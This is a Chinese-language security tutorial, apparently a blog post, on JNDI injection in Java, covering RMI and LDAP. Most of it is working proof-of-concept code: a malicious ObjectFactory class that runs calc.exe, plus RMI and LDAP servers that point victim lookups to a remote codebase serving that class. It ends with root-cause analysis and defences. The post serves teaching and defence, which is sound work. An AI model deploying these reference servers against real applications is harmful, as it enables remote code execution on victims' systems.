写在最前面
当我们研究其他影响力较大的漏洞,如log4j,fastjson时,总是绕不开lookup下的jndi漏洞,怀着更进一步分析的心里,我们来研究他们共同的底层漏洞——JNDI注入。
什么是JNDI?
JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。上面较官方说法,通俗的说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的 命令服务
和目录服务
,如下图。
协议 | 作用 |
---|---|
LDAP | 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
RMI | JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
DNS | 域名服务 |
RMI+JNDI利用
Java RMI(Remote Method Invocation,远程方法调用)是一种分布式计算技术,用于在不同的 Java 虚拟机(JVM)之间调用对象的方法。它的核心在于允许一个 JVM 中的对象调用另一台远程 JVM 中对象的方法,仿佛调用的是本地对象,从而实现跨网络的对象通信和方法调用。
RMI的工作原理
- 客户端调用远程方法:客户端代码调用远程方法,表面上是像调用本地方法一样,但实际上通过网络进行调用。
Stub 和 Skeleton
- Stub:在客户端的代理对象,负责将远程方法调用转换为网络请求并发送给服务端。它在 Java RMI 中是自动生成的,无需手动创建。
- Skeleton:在服务端的代理对象,负责接收来自 Stub 的网络请求,调用实际的远程方法并将结果返回给客户端。在 Java 2 SDK 之后不再需要手动实现 Skeleton。
- RMI 注册表查找远程对象:客户端首先通过 RMI 注册表查找远程对象并获取其引用。
- 传递参数和返回值:通过序列化和反序列化,RMI 将调用的参数和返回值在客户端和服务端之间传输。
简单RMI示例
定义实现远程接口
import java.rmi.server.UnicastRemoteObject;
import java.rmi.RemoteException;
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
// 必须提供一个构造器,并在其中抛出 RemoteException
protected HelloServiceImpl() throws RemoteException {
super();
}
// 实现 sayHello 方法
@Override
public String sayHello(String name) throws RemoteException {
return "Hello, " + name + "!";
}
}
服务端
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) {
try {
// 创建并导出远程对象
HelloService helloService = new HelloServiceImpl();
// 创建本地 RMI 注册表并将远程对象绑定到注册表中
Registry registry = LocateRegistry.createRegistry(1099); // 1099 是默认端口
registry.rebind("HelloService", helloService);
System.out.println("Server is ready.");
} catch (RemoteException e) {
e.printStackTrace();
}
}
}
客户端
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) {
try {
// 获取 RMI 注册表
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// 查找远程对象
HelloService helloService = (HelloService) registry.lookup("HelloService");
// 调用远程方法
String response = helloService.sayHello("World");
System.out.println("Response: " + response);
} catch (Exception e) {
e.printStackTrace();
}
}
}
先启动服务端,再开启客户端,客户端会去查找HelloService服务,打印出Hello World!
攻击示例:
新建RMIClient和RMIServer,以及恶意攻击类Caculator.java。
Caculator.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Calculator implements ObjectFactory {
static {
System.err.println("Malicious code executed");
try {
String[] cmd = {"calc.exe"};
java.lang.Runtime.getRuntime().exec(cmd);
System.err.println("Executed command: calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
恶意类,这里是运行系统指令calc.exe,弹出计算器则注入成功。将此恶意类编译
javac Caculator.java,
编译完成后在Caculator.class文件夹下进入cmd,输入python -m http.server 8000 启动本地的恶意服务
RMIServer.java
package jndi_rmi_injection;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.ReferenceWrapper;
import java.rmi.AlreadyBoundException;
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
// 创建 RMI 注册表并指定端口号 1099(RMI 默认端口)
Registry registry = LocateRegistry.createRegistry(1099);
// 创建一个 Reference 对象,表示要远程绑定的对象 "Calculator" 的引用
// - "Calculator" 是服务的逻辑名称,客户端会通过这个名称来查找服务
// - "Calculator" 是远程对象的类名
// - "http://127.0.0.1:8000/" 是代码库的 URL,客户端可以从此地址获取类文件
Reference calculator = new Reference("Calculator", "Calculator", "http://127.0.0.1:8000/");
// 将 Reference 对象包装为 ReferenceWrapper,以便注册到 RMI 注册表
ReferenceWrapper refObjWrapper = new ReferenceWrapper(calculator);
// 将 ReferenceWrapper 对象绑定到 RMI 注册表中,名称为 "Calculator"
registry.bind("Calculator", refObjWrapper);
// 启动服务器,输出服务启动信息
System.out.println("RMIServer started");
}
}
先启动服务端,开启服务
RMIClient.java
package jndi_rmi_injection;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.util.Hashtable;
import java.util.Properties;
public class RMIClient {
public static void main(String[] args) {
try {
// 定义远程对象的 RMI URL,包含 RMI 协议、服务地址和服务名称
String url = "rmi://127.0.0.1:1099/Calculator";
// 创建 JNDI初始上下文,用于与命名服务交互
InitialContext initialContext = new InitialContext();
// 通过 lookup 方法使用 URL 查找远程对象
initialContext.lookup(url);
// 查找成功,输出消息表示远程对象查找成功
System.out.println("Remote object lookup successful.");
} catch (NamingException e) {
// 捕获 NamingException 异常(通常是因为找不到对象或网络问题导致的)
e.printStackTrace();
}
}
}
再开启客户端,通过lookup函数找到构造的恶意类,执行构造的Caculator恶意类,实现攻击。
LDAP+JNDI利用
LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)是一种用于访问和管理分布式目录信息服务的协议。它用于在网络上组织和管理用户、组、设备等信息,广泛应用于企业网络的用户身份验证和访问控制。
LDAP的常见用途
- 身份验证和访问控制:LDAP可以用来存储用户凭据,许多应用程序可以使用LDAP进行身份验证。它常用于企业单点登录(SSO)系统中,用户可以使用相同的凭据访问多个系统。
- 集中管理用户和权限:LDAP使管理员可以集中管理用户账户和权限。这样,管理员可以在一个地方管理所有账户,方便用户的创建、删除、修改等操作。
- 查询与检索:LDAP支持快速查询,允许从目录中检索用户信息、设备信息等。通过LDAP客户端可以灵活地查询和筛选目录中存储的数据。
LDAP服务结构示例
假设一个公司 example.com
采用了LDAP服务管理,目录结构可能如下:
dc=example,dc=com
├── ou=People
│ ├── cn=John Doe, ou=People, dc=example, dc=com
│ ├── cn=Jane Smith, ou=People, dc=example, dc=com
│ └── cn=Alice Brown, ou=People, dc=example, dc=com
└── ou=Groups
├── cn=Admins, ou=Groups, dc=example, dc=com
├── cn=Developers, ou=Groups, dc=example, dc=com
└── cn=HR, ou=Groups, dc=example, dc=com
攻击示例:
同理LDAP与RMI同属于JNDI的服务,他们的使用样例也相似,同样需要服务端与客户端,与攻击程序。
服务端LDAPServer.java
package jndi_ldap_injection;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPServer {
// 定义LDAP服务器的基础DN
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
// 定义目标URL和端口,用于重定向到恶意代码
String url = "http://127.0.0.1:8000/#Calculator";
int port = 1234;
try {
// 配置内存中的LDAP服务器
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
// 配置监听设置,使服务器在所有网络接口的指定端口上监听
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"), // 绑定到所有IP地址
port, // 监听的端口
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
// 添加自定义的操作拦截器,用于拦截并处理LDAP查询请求
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
// 创建并启动内存中的LDAP服务器
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("LDAP启动成功");
System.out.println("Listening on 0.0.0.0:" + port); // 输出监听信息
ds.startListening();
} catch ( Exception e ) {
e.printStackTrace(); // 输出异常信息
}
}
// 内部类,用于拦截并自定义处理LDAP操作
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
// 构造函数,接收并保存URL
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
// 重写方法,处理LDAP查询结果
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN(); // 获取查询的Base DN
Entry e = new Entry(base); // 创建一个LDAP条目
try {
// 发送查询结果
sendResult(result, base, e);
} catch ( Exception e1 ) {
e1.printStackTrace();
}
}
// 发送伪造的LDAP查询结果
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
// 创建一个指向恶意代码的URL
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
// 设置LDAP条目的属性,用于返回恶意Java对象引用
e.addAttribute("javaClassName", "Calculator"); // 定义伪造的Java类名
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos); // 去掉URL中的#部分
}
e.addAttribute("javaCodeBase", cbstring); // 定义代码库URL
e.addAttribute("objectClass", "javaNamingReference"); // 指定对象类名
e.addAttribute("javaFactory", this.codebase.getRef()); // 指定工厂类名
// 发送伪造的LDAP条目
result.sendSearchEntry(e);
// 设置成功的LDAP响应
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
客户端LDAPClient.java
package jndi_ldap_injection;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAPClient {
public static void main(String[] args) throws NamingException{
String url = "ldap://127.0.0.1:1234/Calculator";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
攻击程序也是上面的Caculator类,可以直接使用上面编译好的class类
攻击步骤也与上面相同,先启动客户端,在恶意构造类Caculator.class的cmd文件中启动本地网络服务 python -m http.server 8000,再启动客户端,即可完成恶意攻击。这里注意恶意类与url匹配。
漏洞成因分析
在JNDI提供的类中有InitialContext
类,主要用于读取JNDI的一些配置信息,内涵对象和其在 JNDI 中的注册名称的映射信息。
其中有一个函数lookup(String name),获取url前的协议名称,从而提供对应的服务。如图所示,JNDI会通过rmi协议访问127.0.0.1:1099/Calculator
跟进代码发现,lookup()函数参数可控,就是漏洞的关键。
RMI 允许 Java 程序跨 JVM 调用对象的远程方法,利用 RMI 可以将一个对象序列化后通过网络发送给客户端。当 JNDI 和 RMI 一起使用时,应用程序会通过 JNDI 查找到 RMI 远程对象引用。若该引用的来源不可信(比如指向攻击者的 RMI 服务),则可能引入恶意对象或字节码,造成远程代码执行漏洞。
攻击者在远程服务器上构造恶意的 Reference
类绑定在 RMIServer
的 RMI 注册表
里面,然后客户端调用 lookup()
函数里面的对象,远程类获取到 Reference
对象,客户端接收 Reference
对象后,寻找 Reference
中指定的类,若查找不到,则会在 Reference
中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行,从而达到 JNDI
注入攻击。
防御方法
避免使用不受信任的 JNDI URL:确保 JNDI 查找的资源来自受信任的来源,避免使用未验证的 RMI、LDAP 或其他远程服务地址。
禁用自动代码库加载:设置 java.rmi.server.useCodebaseOnly
为 true
,以限制远程代码库的自动加载。
System.setProperty("java.rmi.server.useCodebaseOnly", "true");
使用安全的 JNDI 配置:配置 JNDI 属性 com.sun.jndi.rmi.object.trustURLCodebase=false
,防止不可信的代码库加载。
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
禁用或限制序列化和反序列化:尽可能避免反序列化不受信任的数据,或者通过安全的序列化库进行替代。
限制 JNDI 和 RMI 的网络访问:通过网络隔离或访问控制来限制对外部 JNDI 和 RMI 服务的访问。
0 条评论